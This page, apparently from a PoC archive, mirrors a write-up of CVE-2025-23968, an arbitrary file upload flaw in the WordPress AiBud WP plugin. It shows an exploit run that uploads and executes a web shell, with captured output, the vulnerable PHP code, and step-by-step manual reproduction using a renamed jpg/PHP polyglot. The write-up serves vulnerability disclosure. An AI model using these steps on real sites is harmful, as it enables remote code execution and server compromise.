Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-23968 PoC — WordPress AiBud WP plugin <= 1.9 - Arbitrary File Upload vulnerability

Source
Associated Vulnerability
Title:WordPress AiBud WP plugin <= 1.9 - Arbitrary File Upload vulnerability (CVE-2025-23968)
Description:Unrestricted Upload of File with Dangerous Type vulnerability in WebFactory AiBud WP aibuddy-openai-chatgpt allows Upload a Web Shell to a Web Server.This issue affects AiBud WP: from n/a through <= 1.9.
Description
Arbitrary File Upload in AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4
Readme
# AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o

The [AI Bud](https://wordpress.org/plugins/aibuddy-openai-chatgpt/) plugin exposes a REST API endpoint `/wp-json/ai-buddy/v1/wp/attachments` that allows uploading files to the WordPress media library. The endpoint’s file logic contains file renaming functionality that triggers after file type validation, and allows the attacker to rename the uploaded file to any extension (including.php) allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.

## TL;DR Exploits

A POC cve-2025-23968.py is provided to demonstrate an administrator uploading a web shell named `shell.php`.

```
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr

<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
    inet 127. 0. 0. 1 / 8 scope host lo
        valid_lft forever preferred_lft forever
    inet 6 :: 1 / 128 scope host
        valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
    inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
        valid_lft 75700 sec preferred_lft 75700 sec
    inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86174 sec preferred_lft 14174 sec
    inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
        valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
    inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
        valid_lft forever preferred_lft forever
    inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
        valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
    inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
        valid_lft forever preferred_lft forever
</pre>
```

## Details

The plugin registers its REST API routs in `/wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php`

Lines 250-284 register the REST route for the `/wp/attachments` endpoint. The callback function is defined as `create_attachment`:

```php
register_rest_route(
    $namespace,
    '/wp/attachments',
    array(
        'methods' => 'POST',
        'permission_callback' => array( AuthGate::class, 'authorized'
    ),
        'callback' => array( $this, 'create_attachment' ),
    'args' => array(
    'title' => array(
    'required' => true,
    'type' => 'string',
    ),
    'caption' => array(
    'required' => true,
    'type' => 'string',
    ),
    'alt' => array(
    'required' => true,
    'type' => 'string',
    ),
    'description' => array(
    'required' => true,
    'type' => 'string',
    ),
    'url' => array(
    'required' => true,
    'type' => 'string',
    ),
    'filename' => array(
    'required' => false,
    'type' => 'string',
    ),
),
```


The `create_attachment` function is defined on Line 709, and the renaming logic starts at Line 744. As seen in the snippet below, if the `$filename` parameter is specified it can be used to rename an existing attachment (unsanitized):

```php
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
    $file = get_attached_file( $attachment_id, true );
    $dir = dirname( $file );
    $new_file = $dir. '/'. $filename;
    if ( file_exists( $new_file ) ) {
        $new_file = $dir. '/'. uniqid(). '-'. $filename;
    }
    $this->move_file( $file, $new_file );
    update_attached_file( $attachment_id, $new_file );
}
```
## Manual Reproduction

The .php Renaming Attack

1. Attacker prepares a file calledshell.jpgwith the following qualities (see example).
    1. File containsmagic bitsfor jpg `FF D8 FF E0`.
    2. File has `.jpg` extension.
    3. File contains php code for a web shell.
2. The attacker hostsshell.jpgon a server they control (like Github).
3. The attacker sends a POST request to `/wp-json/ai-buddy/v1/wp/attachments` with:
    1.url: the URL toshell.jpg
    2.filename:shell.php
4. The attacker accesses `/wp-content/uploads/YEAR/MONTH/shell.php` and executes arbitrary
    PHP code.


File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →